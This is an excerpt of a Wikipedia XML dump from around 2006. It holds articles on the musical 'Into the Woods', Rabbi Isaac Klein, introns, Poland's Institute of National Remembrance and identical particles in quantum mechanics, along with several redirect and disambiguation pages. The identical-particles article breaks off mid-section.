''Into the Woods'' opened on [[Broadway theatre|Broadway]] at the Martin Beck Theatre on [[November 5]], [[1987]], and played 804 performances. It starred [[Bernadette Peters]], [[Joanna Gleason]], [[Chip Zien]], Kim Crosby, Ben Wright, [[Danielle Ferland]], and [[Robert Westenberg]]. The original production won the [[1988]] Drama Critic's [[Circle Award]] and the [[Drama Desk Award]] for Best Musical, and the Original Cast Recording won a [[Grammy Award]].

The show was revived on Broadway in [[2002]] with [[Vanessa Lynn Williams |Vanessa Williams]] as the Witch, the recorded voice of [[Judi Dench]] as the Giant, and other cast members including [[John McMartin]], [[Stephen DeRosa]], [[Gregg Edelman]], and [[Christopher Sieber]].  The plot was retooled, with a subplot added involving ''[[The Three Little Pigs]]'' restored from the earlier San Diego production.  Critics were kind to the show, but loyal fans put it down, stressing that the important adult messages of the original production were now undermined with a seeming sense of flippancy.  The revival had a 280-performance run.

==Musical Numbers==
'''Act I'''
* Act One Prologue: Into the Woods
* Cinderella At the Grave
* Hello, Little Girl
* I Guess This Is Goodbye / Maybe They're Magic
* Our Little World
* I Know Things Now
* A Very Nice Prince / First Midnight / Giants In the Sky
* Agony
* It Takes Two
* Stay With Me
* On The Steps of the Palace
* Ever After

'''Act 2'''
* Act Two Prologue: So Happy
* Agony (Reprise)
* Lament
* Any Moment / Moments in the Woods
* Your Fault
* Last Midnight
* No More
* No One is Alone
* Finale: Children Will Listen

==Lyric Examples==
{{wikiquote}}

*&quot;On the Steps of the Palace&quot; (Cinderella)

''He's a very smart prince&lt;br&gt;
''He's a prince who prepares&lt;br&gt;
''Knowing this time I'd run from him&lt;br&gt;
''He spread pitch on the stairs&lt;br&gt;
''I was caught unawares&lt;br&gt;
''And I thought, 'Well, he cares,&lt;br&gt;
''This is more than just malice&lt;br&gt;
''Better stop and take stock
''While you're standing here stuck to the steps of the palace.''

*&quot;Moments in the Woods&quot; (Baker's Wife)

''Oh if life were made of moments,&lt;br&gt;
''Even now and then a bad one,&lt;br&gt;
''But if life were only moments,&lt;br&gt;
''Then you'd never know you'd had one!

*&quot;I Know Things Now&quot; (Little Red Ridinghood)

''And I know things now, many valuable things&lt;br&gt;
''That I hadn't known before&lt;br&gt;
''Do not put your faith in a cape and a hood&lt;br&gt;
''They will not protect you the way that they should&lt;br&gt;
''And take extra care with strangers&lt;br&gt;
''Even flowers have their dangers&lt;br&gt;
''And though scary is exciting&lt;br&gt;
''Nice is different than good.

*&quot;No One Is Alone&quot; (Cinderella)

&quot;Sometimes people leave you halfway through the woods.&lt;br&gt;
Do not let it grieve you, no one leaves for good.&lt;br&gt;
You are not alone, believe me.&lt;br&gt;
No one is alone.&quot;

==Samples==
*[[Media:EverAfter.ogg|Download sample]] of &quot;Ever After&quot;

[[Category:Musicals]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Klein</title>
    <id>15342</id>
    <revision>
      <id>37164687</id>
      <timestamp>2006-01-29T03:41:02Z</timestamp>
      <contributor>
        <username>Pinktulip</username>
        <id>739543</id>
      </contributor>
      <text xml:space="preserve">'''Isaac Klein''' ([[1905]]-[[1979]]).  During [[World War II]] [[Rabbi]] Klein served as a chaplain in the U.S. Army, and later served as a Conservative rabbi in [[Buffalo, New York]].  He was one of the outstanding halakhists of the movement, was president of the [[Rabbinical Assembly]] from 1958-1960, a leading member of the Committee on Jewish Law and Standards from 1948 until his death in 1979.

As a leading authority on [[halakha]] he authored many important [[Responsa|teshuvot (responsa)]], many of which were published in his influential &quot;[[Responsa]] and Halakhic Studies&quot;.  From the 1950s to 1970s, he wrote a comprehensive guide to [[halakha|Jewish law]] which was used to teach halakha at the [[Jewish Theological Seminary]] of America.  In [[1979]] he assembled this into &quot;A Guide to [[Jew]]ish Religious Practice&quot;, which is used by laypeople within [[Conservative Judaism]].

{{Judaism-bio-stub}}

==External links==
*[http://emanuelnyc.org/bulletin/archive/05.html About Klein's &quot;A Guide to Jewish Religious Practice&quot;]
*[http://learn.jtsa.edu/topics/diduknow/jrpguide/ Excerpts from &quot;A Guide to Jewish Religious Practice&quot;]
*[http://www.jbuff.com/ikle.htm Isaac Klein]

[[Category:1905 births|Klein, Isaac]]
[[Category:1979 deaths|Klein, Isaac]]
[[Category:Conservative rabbis|Klein, Isaac]]
[[Category:People from Buffalo, New York]]</text>
    </revision>
  </page>
  <page>
    <title>Intron</title>
    <id>15343</id>
    <revision>
      <id>41229583</id>
      <timestamp>2006-02-25T23:01:03Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>{{Expandarticle}} to talk page</comment>
      <text xml:space="preserve">[[Image:Gene.png|right|thumbnail|270px|Diagram of the location of introns and exons within a gene.]]
[[Image:Exon-intron.jpg|right|thumbnail|350px|Simple illustration of exons and introns.]] 
'''Introns''' (for intragenic regions) are sections of [[DNA]] within a [[gene]] that do not encode part of the [[protein]] that the gene produces, and are [[splicing (genetics)|spliced]] out of the [[mRNA]] that is [[transcription|transcribed]] from the gene before it is [[translation (genetics)|translated]]. Introns exist mainly in [[eukaryote|eukaryotic]] [[cell (biology)|cells]]. The regions of a gene that remain in the spliced mRNA are called [[exon]]s.  The number and length of introns varies widely among [[species]]. For example, the [[pufferfish]]  ''Takifugu rubripes'' has little intronic DNA. Mammals and flowering plants, on the other hand, have numerous introns, which are often much longer than the nearby exons.

Introns sometimes allow for [[alternative splicing]] of a gene, so that several different proteins that share some sections in common can be produced from a single gene. The control of mRNA splicing, and hence of which alternative is produced, is performed by a wide variety of signal molecules.
Introns also sometimes contain &quot;old code,&quot; sections of a gene that were probably once translated into protein but which are now discarded. 

While most of the sequence in any given intron is [[junk DNA]] with no known function, several short sequences that are important for efficient splicing are known. The exact mechanism for these ''intronic splicing enhancers'' is not well understood, but it is thought that they serve as binding sites on the transcript for proteins that stabilize the [[spliceosome]]. It is also possible that RNA [[secondary structure]] formed by intronic sequences may have an effect on splicing.

The discovery of introns lead to the [[Nobel Prize in Physiology or Medicine]] in [[1993]] for [[Phillip Allen Sharp]] and  [[Richard J. Roberts]].

Some introns such as Group I and Group II introns are actually [[ribozyme]]s that are capable of [[catalysis|catalyzing]] their own splicing out of the primary RNA transcript. This self splicing was discovered by [[Thomas Cech]] who shared the [[1989]] [[Nobel Prize in Chemistry]] with [[Sidney Altman]] for the discovery of the catalytic properties of RNA.

==Intron evolution==

There are two competing theories as to the [[evolution]]ary origin of introns, which is usually studied in a highly conserved family of genes such as the [[actin]]s. In the introns-early model ancestral genes are believed to have included a large number of introns, some of which have been lost over evolutionary time, leading to the different but similar intron patterns in related genes of different species. The introns-late model suggests instead that introns occur in the same location in variants of a given gene because the location is in some way predisposed to the introduction of an intron, and therefore that a similar intron pattern may arise in two different species by a form of [[convergent evolution]].

==See also==
*[[Selfish DNA]]
*[[Noncoding DNA]]
*[[Intein]]
*[[alternate splicing]]

==Reference==
#[[Walter Gilbert]] (1978 Feb 9) &quot;Why Genes In Pieces?&quot; ''Nature'' '''271''' (5645):501.

[[Category:Gene expression]]

[[de:Intron]]
[[es:Intrón]]
[[fr:Intron]]
[[ko:인트론]]
[[he:אינטרון]]
[[hu:Intron]]
[[nl:Intron]]
[[ja:イントロン]]
[[pl:Intron]]
[[pt:Intrão]]
[[sv:Intron]]
[[vi:Intron]]</text>
    </revision>
  </page>
  <page>
    <title>Indus civilization</title>
    <id>15344</id>
    <revision>
      <id>15912820</id>
      <timestamp>2003-11-08T10:59:03Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#redirect [[Indus Valley Civilization]]</text>
    </revision>
  </page>
  <page>
    <title>IEE</title>
    <id>15345</id>
    <revision>
      <id>15912821</id>
      <timestamp>2002-10-30T12:14:03Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <minor />
      <comment>Institute -&gt; Institution (I checked their web site)</comment>
      <text xml:space="preserve">#REDIRECT [[Institution of Electrical Engineers]]</text>
    </revision>
  </page>
  <page>
    <title>Institute of National Remembrance</title>
    <id>15346</id>
    <revision>
      <id>40304888</id>
      <timestamp>2006-02-19T18:06:35Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Institute of National Remembrance''' ({{lang-pl|Instytut Pamięci Narodowej}}; '''IPN''') is a [[Poland|Polish]] [[organization|institution]] created by the [[IPN Act]] in [[18 December]] [[1998]].

Its main purpose is investigating [[Nazi]] and [[Communist]] crimes, taking care of documentation about them, providing this documentation to the public, prosecuting those who committed such crimes and educating the public in this respect. The main focus of the Institute are crimes omitted by the communist authorities of Poland prior to [[1989]].

The first president of the IPN was [[Leon Kieres]], elected by the [[Sejm]] for 5 years in [[8 June]] [[2000]].
The second president is Janusz Kurtyka, elected on 9th of December, 2005.

The IPN is divided into:
* Committee for the Prosecution of Crimes Against the Polish Nation (Komisja Ścigania Zbrodni Przeciwko Narodowi Polskiemu)
* Bureau of Provision and Archivization of Documents (Biuro Udostępniania i Archiwizacji Dokumentów)
* Bureau of Public Education (Biuro Edukacji Publicznej)
* Local chapters

The most widely reported case investigated by the IPN thus far is the [[Jedwabne Pogrom]]. Other cases include: [[Salomon Morel]]

{{gov-stub}}
{{Poland-stub}}

==External links==
* [http://www.ipn.gov.pl/index_eng.html IPN Home Page] (English)

[[Category:Polish organizations]]
[[category:History of Poland (1989–present)]]

[[de:Institut für Nationales Gedenken]]
[[fr:Instytut Pamięci Narodowej]]
[[pl:Instytut Pamięci Narodowej]]</text>
    </revision>
  </page>
  <page>
    <title>Intelligence</title>
    <id>15347</id>
    <revision>
      <id>35420295</id>
      <timestamp>2006-01-16T17:25:35Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Intelligence''' has several different meanings:

* [[Intelligence (trait)]] is the ability to solve problems
** [[Animal intelligence]]
** [[Artificial intelligence]]
** ''[[Intelligence (journal)]]'', a scientific journal dealing with intelligence and psychometrics
* [[Intelligence (information gathering)]], often including espionage
** [[Business intelligence]]
** [[Criminal intelligence]]
** [[Military intelligence]]

{{disambig}}

[[da:Intelligent]]
[[de:Intelligenz]]
[[es:Inteligencia (desambiguación)]]
[[it:Intelligenza]]
[[pl:Inteligencja]]
[[zh:智力]]</text>
    </revision>
  </page>
  <page>
    <title>Intelligent</title>
    <id>15348</id>
    <revision>
      <id>15912824</id>
      <timestamp>2005-01-25T05:00:30Z</timestamp>
      <contributor>
        <username>Dbenbenn</username>
        <id>38020</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Intelligence (trait)]]</comment>
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    <title>Intelligence Test</title>
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      <timestamp>2005-03-20T16:34:50Z</timestamp>
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        <username>ABCD</username>
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    <title>Intelligence testing</title>
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      <id>15912826</id>
      <timestamp>2005-02-14T20:06:52Z</timestamp>
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        <username>Vardion</username>
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    <title>IQ test</title>
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        <username>Yelyos</username>
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  <page>
    <title>Identical particles</title>
    <id>15352</id>
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      <id>37658171</id>
      <timestamp>2006-02-01T10:44:01Z</timestamp>
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        <username>Charles Matthews</username>
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      <text xml:space="preserve">'''Identical particles''', or '''indistinguishable particles''', are [[particle]]s that cannot be distinguished from one another, even in principle. Species of identical particles include [[elementary particle]]s such as [[electron]]s, as well as composite microscopic particles such as [[atom]]s.

There are two main categories of identical particles: [[boson]]s, which can share [[quantum state]]s, and [[fermion]]s, which are forbidden from sharing quantum states (this property of fermions is known as the [[Pauli exclusion principle]].) Examples of bosons are [[photon]]s, [[gluon]]s, [[phonon]]s, and [[helium|helium-4]] atoms. Examples of fermions are [[electron]]s, [[neutrino]]s, [[quark]]s, [[proton]]s and [[neutron]]s, and [[helium-3]] atoms.

The fact that particles can be identical has important consequences in [[statistical mechanics]]. Calculations in statistical mechanics rely on probabilistic arguments, which are sensitive to whether or not the objects being studied are identical. As a result, identical particles exhibit markedly different statistical behavior from distinguishable particles. For example, the indistinguishability of particles has been proposed as a solution to Gibb's [[mixing paradox]].

== Distinguishing between particles ==

There are two ways in which one might distinguish between particles. The first method relies on differences in the particles' intrinsic physical properties, such as [[mass]], [[electric charge]], and [[spin (physics)|spin]]. If differences exist, we can distinguish between the particles by measuring the relevant properties. However, it is an empirical fact that microscopic particles of the same species have completely equivalent physical properties. For instance, every electron in the universe has exactly the same electric charge; this is why we can speak of such a thing as &quot;[[Elementary charge|the charge of the electron]]&quot;.

Even if the particles have equivalent physical properties, there remains a second method for distinguishing between particles, which is to track the trajectory of each particle. As long as we can measure the position of each particle with infinite precision (even when the particles collide), there would be no ambiguity about which particle is which.

The problem with this approach is that it contradicts the principles of [[quantum mechanics]]. According to quantum theory, the particles do not possess definite positions during the periods between measurements. Instead, they are governed by [[wavefunction]]s that give the probability of finding a particle at each position. As time passes, the wavefunctions tend to spread out and overlap. Once this happens, it becomes impossible to determine, in a subsequent measurement, which of the particle positions correspond to those measured earlier. The particles are then said to be ''indistinguishable''.

== Quantum mechanical description of identical particles ==

=== Symmetrical and antisymmetrical states ===

We will now make the above discussion concrete, using the formalism developed in the article on the [[mathematical formulation of quantum mechanics]].

For simplicity, consider a system composed of two identical particles. As the particles possess equivalent physical properties, their state vectors occupy mathematically identical [[Hilbert space]]s. If we denote the Hilbert space of a single particle as ''H'', then the Hilbert space of the combined system is formed by the [[tensor product]] ''H&amp;times;H''.

Let ''n'' denote a complete set of (discrete) quantum numbers for specifying single-particle states (for example, for the [[particle in a box]] problem we can take ''n'' to be the quantized [[wave vector]] of the wavefunction.) Suppose that one particle is in the state ''n''&lt;sub&gt;1&lt;/sub&gt;, and another is in the state ''n''&lt;sub&gt;2&lt;/sub&gt;. What is the quantum state of the system? We might guess that it is

:&lt;math&gt; |n_1\rang |n_2\rang &lt;/math&gt;

which is simply the canonical way of constructing a basis for a tensor product space from the individual spaces. However, this expression implies that we can identify the particle with ''n''&lt;sub&gt;1&lt;/sub&gt; as &quot;particle 1&quot; and the particle with ''n''&lt;sub&gt;2&lt;/sub&gt; as &quot;particle 2&quot;, which conflicts with the ideas about indistinguishability discussed earlier.

Actually, it is an empirical fact that identical particles occupy special types of multi-particle states, called '''symmetric states''' and '''antisymmetric states'''. Symmetric states have the form

:&lt;math&gt; |n_1, n_2; S\rang \equiv \mbox{constant} \times \bigg( |n_1\rang |n_2\rang + |n_2\rang |n_1\rang \bigg) &lt;/math&gt;

Antisymmetric states have the form

:&lt;math&gt; |n_1, n_2; A\rang \equiv \mbox{constant} \times \bigg( |n_1\rang |n_2\rang - |n_2\rang |n_1\rang \bigg) &lt;/math&gt;

Note that if ''n''&lt;sub&gt;1&lt;/sub&gt; and ''n''&lt;sub&gt;2&lt;/sub&gt; are the same, our equation for the antisymmetric state gives the zero ket, which cannot be a state vector as it cannot be normalized. In other words, in an antisymmetric state the particles cannot occupy the same single-particle states. This is known as the [[Pauli exclusion principle]], and it is the fundamental reason behind the [[chemistry|chemical]] properties of atoms and the stability of [[matter]].

=== Exchange symmetry ===

The importance of symmetric and antisymmetric states is ultimately based on empirical evidence. It appears to be a fact of Nature that identical particles do not occupy states of a mixed symmetry, such as

:&lt;math&gt; |n_1, n_2; ?\rang = \mbox{constant} \times \bigg( |n_1\rang |n_2\rang + i |n_2\rang |n_1\rang \bigg) &lt;/math&gt;

There is actually an exception to this rule, which we will discuss later. On the other hand, we can show that the symmetric and antisymmetric states are in a sense special, by examining a particular symmetry of the multiple-particle states known as '''exchange symmetry'''.

Let us define a linear operator ''P'', called the exchange operator. When it acts on a tensor product of two state vectors, it exchanges the values of the state vectors:

:&lt;math&gt;P \bigg(|\psi\rang |\phi\rang \bigg) \equiv |\phi\rang |\psi\rang &lt;/math&gt;

''P'' is both [[Hermitian]] and [[Unitary matrix|unitary]]. Because it is unitary, we can regard it as a [[symmetry (quantum mechanics)|symmetry operator]]. We can describe this symmetry as the symmetry under the exchange of labels attached to the particles (i.e., to the single-particle Hilbert spaces).

Clearly, ''P&amp;sup2; = 1'' (the identity operator), so the [[eigenvalue]]s of ''P'' are +1 and &amp;minus;1. The corresponding [[eigenvector]]s are the symmetric and antisymmetric states:

:&lt;math&gt;P|n_1, n_2; S\rang = + |n_1, n_2; S\rang&lt;/math&gt;
:&lt;math&gt;P|n_1, n_2; A\rang = - |n_1, n_2; A\rang&lt;/math&gt;

In other words, symmetric and antisymmetric states are essentially unchanged under the exchange of particle labels: they are only multiplied by a factor of +1 or &amp;minus;1, rather than being &quot;rotated&quot; somewhere else in the Hilbert space. This indicates that the particle labels have no physical meaning, in agreement with our earlier discussion on indistinguishability.

We have mentioned that ''P'' is Hermitian. As a result, it can be regarded as an observable of the system, which means that we can, in principle, perform a measurement to find out if a state is symmetric or antisymmetric. Furthermore, the equivalence of the particles indicates that the [[Hamiltonian (quantum mechanics)|Hamiltonian]] can be written in a symmetrical form, such as

:&lt;math&gt;H = \frac{p_1^2}{2m} + \frac{p_2^2}{2m} + U(|x_1 - x_2|) + V(x_1) + V(x_2) &lt;/math&gt;

It is possible to show that such Hamiltonians satisfy the [[Commutator|commutation relation]]

:&lt;math&gt;\left[P, H\right] = 0&lt;/math&gt;

According to the [[Heisenberg picture|Heisenberg equation]], this means that the value of ''P'' is a constant of motion. If the quantum state is initially symmetric (antisymmetric), it will remain symmetric (antisymmetric) as the system evolves. Mathematically, this says that the state vector is confined to one of the two eigenspaces of ''P'', and is not allowed to range over the entire Hilbert space. Thus, we might as well treat that eigenspace as the actual Hilbert space of the system. This is the idea behind the definition of [[Fock space]].

=== Fermions and bosons ===

The choice of symmetry or antisymmetry is determined by the species of particle. For example, we must always use symmetric states when describing [[photon]]s or [[helium|helium-4]] atoms, and antisymmetric states when describing [[electron]]s or [[proton]]s.

Particles which exhibit symmetric states are called [[boson|bosons]]. As we will see, the nature of symmetric states has important consequences for the statistical properties of systems composed of many identical bosons. These statistical properties are described as [[Bose-Einstein statistics]].

Particles which exhibit antisymmetric states are called [[fermion|fermions]]. As we have seen, antisymmetry gives rise to the [[Pauli exclusion principle]], which forbids identical fermions from sharing the same quantum state. Systems of many identical fermions are described by [[Fermi-Dirac statistics]].

[[Parastatistics]] are also possible.

In certain two-dimensional systems, mixed symmetry can occur. These exotic particles are known as [[anyon|anyons]], and they obey [[fractional statistics]]. Experimental evidence for the existence of anyons exists in the [[quantum Hall effect|fractional quantum Hall effect]], a phenomenon observed in the two-dimensional electron gases that form the inversion layer of [[MOSFET]]s. There is another type of statistic, known as [[braid statistics]], which are associated with particles known as [[plekton]]s.

The [[spin-statistics theorem]] relates the exchange symmetry of identical particles to their [[spin (physics)|spin]]. It states that bosons have integer spin, and fermions have half-integer spin. Anyons possess fractional spin.

=== ''N'' particles ===

The above discussion generalizes readily to the case of ''N'' particles. Suppose we have ''N'' particles with quantum numbers ''n''&lt;sub&gt;1&lt;/sub&gt;, ''n''&lt;sub&gt;2&lt;/sub&gt;, ..., n&lt;sub&gt;N&lt;/sub&gt;. If the particles are bosons, they occupy a '''totally symmetric state''', which is symmetric under the exchange of ''any two'' particle labels:

:&lt;math&gt;|n_1 n_2 \cdots n_N; S\rang = \sqrt{\frac{\prod_j N_j!}{N!}} \sum_p |n_{p(1)}\rang |n_{p(2)}\rang \cdots |n_{p(N)}\rang &lt;/math&gt;

Here, the sum is taken over all possible [[permutation]]s ''p'' acting on ''N'' elements. The square root on the right hand side is a [[normalizing constant]]. The quantity ''N&lt;sub&gt;j&lt;/sub&gt;'' stands for the number of times each of the single-particle states appears in the ''N''-particle state.

In the same vein, fermions occupy '''totally antisymmetric states''':

:&lt;math&gt;|n_1 n_2 \cdots n_N; A\rang = \frac{1}{\sqrt{N!}} \sum_p \mathrm{sgn}(p) |n_{p(1)}\rang |n_{p(2)}\rang \cdots |n_{p(N)}\rang\ &lt;/math&gt;

Here, sgn(''p'') is the [[Symmetric group|signature]] of each permutation (i.e. +1 if ''p'' is composed of an even number of transpositions, and &amp;minus;1 if odd.) Note that we have omitted the ''&amp;Pi;&lt;sub&gt;j&lt;/sub&gt;N&lt;sub&gt;j&lt;/sub&gt;'' term, because each single-particle state can appear only once in a fermionic state.

These states have been normalized so that

:&lt;math&gt; \lang n_1 n_2 \cdots n_N; S | n_1 n_2 \cdots n_N; S\rang = 1, \qquad \lang n_1 n_2 \cdots n_N; A | n_1 n_2 \cdots n_N; A\rang = 1. &lt;/math&gt;

=== Measurements of identical particles ===

Suppose we have a system of ''N'' bosons (fermions) in the symmetric (antisymmetric) state

:&lt;math&gt;|n_1 n_2 \cdots n_N; S/A \rang&lt;/math&gt;

and we perform a measurement of some other set of discrete observables, ''m''. In general, this would yield some result ''m&lt;sub&gt;1&lt;/sub&gt;'' for one particle, ''m&lt;sub&gt;2&lt;/sub&gt;'' for another particle, and so forth. If the particles are bosons (fermions), the state after the measurement must remain symmetric (antisymmetric), i.e.

:&lt;math&gt;|m_1 m_2 \cdots m_N; S/A \rang&lt;/math&gt;

The probability of obtaining a particular result for the ''m'' measurement is

:&lt;math&gt;P_{S/A}(n_1, \cdots n_N \rightarrow m_1, \cdots m_N) \equiv \bigg|\lang m_1 \cdots m_N; S/A \,|\, n_1 \cdots n_N; S/A \rang \bigg|^2 &lt;/math&gt;

We can show that 

:&lt;math&gt; \sum_{m_1 \le m_2 \le \dots \le m_N} P_{S/A}(n_1, \cdots n_N \rightarrow m_1, \cdots m_N) = 1 &lt;/math&gt;

which verifies that the total probability is 1. Note that we have to restrict the sum to ''ordered'' values of ''m&lt;sub&gt;1&lt;/sub&gt;'', ..., ''m&lt;sub&gt;N&lt;/sub&gt;'' to ensure that we do not count each multi-particle state more than once.

=== Wavefunction representation ===

So far, we have worked with discrete observables. We will now extend the discussion to continuous observables, such as the [[position]] ''x''.

Recall that an eigenstate of a continuous observable represents an infinitesimal ''range'' of values of the observable, not a single value as with discrete observables. For instance, if a particle is in a state |&amp;psi;&gt;, the probability of finding it in a region of volume ''d&amp;sup3;x'' surrounding some position ''x'' is

:&lt;math&gt; |\lang x | \psi \rang|^2 \; d^3 x &lt;/math&gt;

As a result, the continuous eigenstates |''x''&gt; are normalized to the [[delta function]] instead of unity:

:&lt;math&gt; \lang x | x' \rang = \delta^3 (x - x') &lt;/math&gt;

We can construct symmetric and antisymmetric multi-particle states out of continuous eigenstates in the same way as before. However, it is customary to use a different normalizing constant:

:&lt;math&gt;|x_1 x_2 \cdots x_N; S\rang = \frac{\prod_j N_j!}{N!} \sum_p |x_{p(1)}\rang |x_{p(2)}\rang \cdots |x_{p(N)}\rang &lt;/math&gt;
:&lt;math&gt;|x_1 x_2 \cdots x_N; A\rang = \frac{1}{N!} \sum_p \mathrm{sgn}(p) |x_{p(1)}\rang |x_{p(2)}\rang \cdots |x_{p(N)}\rang &lt;/math&gt;

We can then write a many-body [[wavefunction]],

&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;&lt;math&gt;\Psi^{(S)}_{n_1 n_2 \cdots n_N} (x_1, x_2, \cdots x_N)&lt;/math&gt;&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\equiv \lang x_1 x_2 \cdots x_N; S | n_1 n_2 \cdots n_N; S \rang&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;math&gt;= \sqrt{\frac{\prod_j N_j!}{N!}} \sum_p \psi_{p(1)}(x_1) \psi_{p(2)}(x_2) \cdots \psi_{p(N)}(x_N)&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;math&gt;\Psi^{(A)}_{n_1 n_2 \cdots n_N} (x_1, x_2, \cdots x_N) &lt;/math&gt;&lt;/td&gt;
&lt;td&gt;&lt;math&gt;\equiv \lang x_1 x_2 \cdots x_N; A | n_1 n_2 \cdots n_N; A \rang&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;math&gt;= \frac{1}{\sqrt{N!}} \sum_p \mathrm{sgn}(p) \psi_{p(1)}(x_1) \psi_{p(2)}(x_2) \cdots \psi_{p(N)}(x_N)&lt;/math&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

where the single-particle wavefunctions are defined, as usual, by

:&lt;math&gt;\psi_n(x) \equiv \lang x | n \rang &lt;/math&gt;

The most important property of these wavefunctions is that exchanging any two of the coordinate variables changes the wavefunction by only a plus or minus sign. This is the manifestation of symmetry and antisymmetry in the wavefunction representation:

:&lt;math&gt;
\Psi^{(S)}_{n_1 \cdots n_N} (\cdots x_i \cdots x_j\cdots) =
\Psi^{(S)}_{n_1 \cdots n_N} (\cdots x_j \cdots x_i \cdots)
&lt;/math&gt;
:&lt;math&gt;
\Psi^{(A)}_{n_1 \cdots n_N} (\cdots x_i \cdots x_j\cdots) = -
\Psi^{(A)}_{n_1 \cdots n_N} (\cdots x_j \cdots x_i \cdots)
&lt;/math&gt;

The many-body wavefunction has the following significance: if the system is initially in a state with quantum numbers ''n''&lt;sub&gt;1&lt;/sub&gt;, ..., n&lt;sub&gt;N&lt;/sub&gt;, and we perform a position measurement, the probability of finding particles in infinitesimal volumes near ''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ..., ''x''&lt;sub&gt;N&lt;/sub&gt; is

:&lt;math&gt; N! \; \left|\Psi^{(S/A)}_{n_1 n_2 \cdots n_N} (x_1, x_2, \cdots x_N) \right|^2 \; d^{3N}\!x &lt;/math&gt;

The factor of ''N''! comes from our normalizing constant, which has been chosen so that, by analogy with single-particle wavefunctions,

:&lt;math&gt; \int\!\int\!\cdots\!\int\; \left|\Psi^{(S/A)}_{n_1 n_2 \cdots n_N} (x_1, x_2, \cdots x_N)\right|^2 d^3\!x_1 d^3\!x_2 \cdots d^3\!x_N = 1 &lt;/math&gt;

Because each integral runs over all possible values of ''x'', each multi-particle state appears ''N''! times in the integral. In other words, the probability associated with each event is evenly distributed across ''N''! equivalent points in the integral space. Because it is usually more convenient to work with unrestricted integrals than restricted ones, we have chosen our normalizing constant to reflect this.

Finally, it is interesting to note that that antisymmetric wavefunction can be written as the [[determinant]] of a [[Matrix (mathematics)|matrix]], known as a [[Slater determinant]]:

:&lt;math&gt;\Psi^{(A)}_{n_1 \cdots n_N} (x_1, \cdots x_N)
= \frac{1}{\sqrt{N!}} \left|
\begin{matrix}
\psi_{n_1}(x_1) &amp; \psi_{n_1}(x_2) &amp; \cdots &amp; \psi_{n_1}(x_N) \\
\psi_{n_2}(x_1) &amp; \psi_{n_2}(x_2) &amp; \cdots &amp; \psi_{n_2}(x_N) \\
\cdots &amp; \cdots &amp; \cdots &amp; \cdots \\
\psi_{n_N}(x_1) &amp; \psi_{n_N}(x_2) &amp; \cdots &amp; \psi_{n_N}(x_N) \\
\end{matrix}
\right|
&lt;/math&gt;

== Statistical properties ==

=== Statistical effects of indistinguishability ===

The indistinguishability of particles has a profound effect on their statistical properties. To illustrate this, let us consider a system of ''N'' distinguishable, non-interacting particles. Once again, let ''n&lt;sub&gt;j&lt;/sub&gt;'' denote the state (i.e. quantum numbers) of particle ''j''. If the particles have the same physical properties, the ''n&lt;sub&gt;j&lt;/sub&gt;'''s run over the same range of values. Let ''&amp;epsilon;''(''n'') denote the [[energy]] of a particle in state ''n''. As the particles do not interact, the total energy of the system is the sum of the single-particle energies. The [[partition function (statistical mechanics)|partition function]] of the system is

:&lt;math&gt; Z = \sum_{n_1, n_2, \cdots n_N} \exp\left\{ -\frac{1}{kT} \left[ \epsilon(n_1) + \epsilon(n_2) + \cdots \epsilon(n_N) \right] \right\} &lt;/math&gt;

where ''k'' is [[Boltzmann's constant]] and ''T'' is the [[temperature]]. We can [[factorization|factorize]] this expression to obtain

:&lt;math&gt; Z = \xi^N &lt;/math&gt;

where

:&lt;math&gt; \xi = \sum_n \exp\left[ - \frac{\epsilon(n)}{kT} \right] &lt;/math&gt;

If the particles are identical, this equation is incorrect. Consider a state of the system, described by the single particle states [''n&lt;sub&gt;1&lt;/sub&gt;'', ..., ''n&lt;sub&gt;N&lt;/sub&gt;'']. In the equation for ''Z'', every possible permutation of the ''n'''s occurs once in the sum, even though each of these permutations is describing the same multi-particle state. We have thus over-counted the actual number of states.

If we neglect the possibility of overlapping states, which is valid if the temperature is high, then the number of times we count each state is approximately ''N''!. The correct partition function is

:&lt;math&gt; Z = \frac{\xi^N}{N!} &lt;/math&gt;

Note that this &quot;high temperature&quot; approximation does not distinguish between fermions and bosons.

The discrepancy in the partition functions of distinguishable and indistinguishable particles was known as far back as the [[19th century]], before the advent of quantum mechanics. It leads to a difficulty known as the [[Gibbs paradox]]. [[Willard Gibbs|Gibbs]] showed that if we use the equation ''Z = &amp;xi;&lt;sup&gt;N&lt;/sup&gt;'', the [[entropy (thermodynamics)|entropy]] of a classical [[ideal gas]] is

:&lt;math&gt;S = N k \ln \left(V\right) + N f(T)&lt;/math&gt;

where ''V'' is the [[volume]] of the gas and ''f'' is some function of ''T'' alone. The problem with this result is that ''S'' is not [[Extensive variable|extensive]] - if we double ''N'' and ''V'', ''S'' does not double accordingly. Such a system does not obey the postulates of [[thermodynamics]].

Gibbs also showed that using ''Z'' = &amp;xi;&lt;sup&gt;''N''&lt;/sup&gt;/''N''! alters the result to

:&lt;math&gt;S = N k \ln \left(\frac{V}{N}\right) + N f(T)&lt;/math&gt;

which is perfectly extensive. However, the reason for this correction to the partition function remained obscure until the discovery of quantum mechanics.

=== Statistical properties of bosons and fermions ===

